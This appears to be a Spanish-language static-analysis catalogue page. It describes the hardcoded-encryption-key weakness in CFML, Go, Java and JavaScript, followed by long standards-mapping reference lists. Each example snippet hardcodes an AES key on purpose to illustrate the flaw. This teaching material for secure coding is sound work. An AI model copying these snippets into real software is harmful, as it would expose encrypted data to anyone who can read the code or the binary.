La codificación rígida de una clave de cifrado nunca es una buena idea porque permite que todos los desarrolladores del proyecto puedan ver la clave de cifrado y dificulta en gran manera la solución del problema. Una vez que el código está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente utiliza una clave de cifrado codificada de forma rígida:


...
<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...


Cualquiera que tenga acceso al código, tendrá acceso también a la clave de cifrado. Una vez que se ha enviado la aplicación, no hay forma de cambiar la clave de cifrado, a menos que se aplique una revisión al programa. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación podrían extraer el valor de la clave de cifrado.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.cfml.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
La codificación rígida de una clave de cifrado nunca es una buena idea, ya que permite que todos los desarrolladores del proyecto puedan ver la clave de cifrado y dificulta en gran medida la solución del problema. Una vez que el código se encuentra en producción, se requiere una revisión de software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente utiliza una clave de cifrado codificada de forma rígida:


...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...


Cualquiera que tenga acceso al código, tendrá acceso también a la clave de cifrado. Una vez distribuida la aplicación, no hay forma de cambiar la clave de cifrado a menos que se aplique una revisión al programa. Un empleado con acceso a esta información puede utilizarla para irrumpir en el sistema. Al obtener acceso al ejecutable de la aplicación, los atacantes pueden extraer el valor de la clave de cifrado.
References
[1] MSC03-J. Never hard code sensitive information CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[38] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.golang.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
La codificación rígida de una clave de cifrado nunca es una buena idea porque permite que todos los desarrolladores del proyecto puedan ver la clave de cifrado y dificulta en gran manera la solución del problema. Una vez que el código está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente utiliza una clave de cifrado codificada de forma rígida:


...
private static final String encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...


Cualquiera que tenga acceso al código, tendrá acceso también a la clave de cifrado. Una vez que se ha enviado la aplicación, no hay forma de cambiar la clave de cifrado, a menos que se aplique una revisión al programa. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación podrían extraer el valor de la clave de cifrado.
References
[1] MSC03-J. Never hard code sensitive information CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[38] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
La codificación rígida de una clave de cifrado nunca es una buena idea porque permite que todos los desarrolladores del proyecto puedan ver la clave de cifrado y dificulta en gran manera la solución del problema. Una vez que el código está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente utiliza una clave de cifrado codificada de forma rígida:


...
var crypto = require('crypto');
var encryptionKey = "lakdsljkalkjlksdfkl";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...


Cualquiera que tenga acceso al código, tendrá acceso también a la clave de cifrado. Una vez que se ha enviado la aplicación, no hay forma de cambiar la clave de cifrado, a menos que se aplique una revisión al programa. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación podrían extraer el valor de la clave de cifrado.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
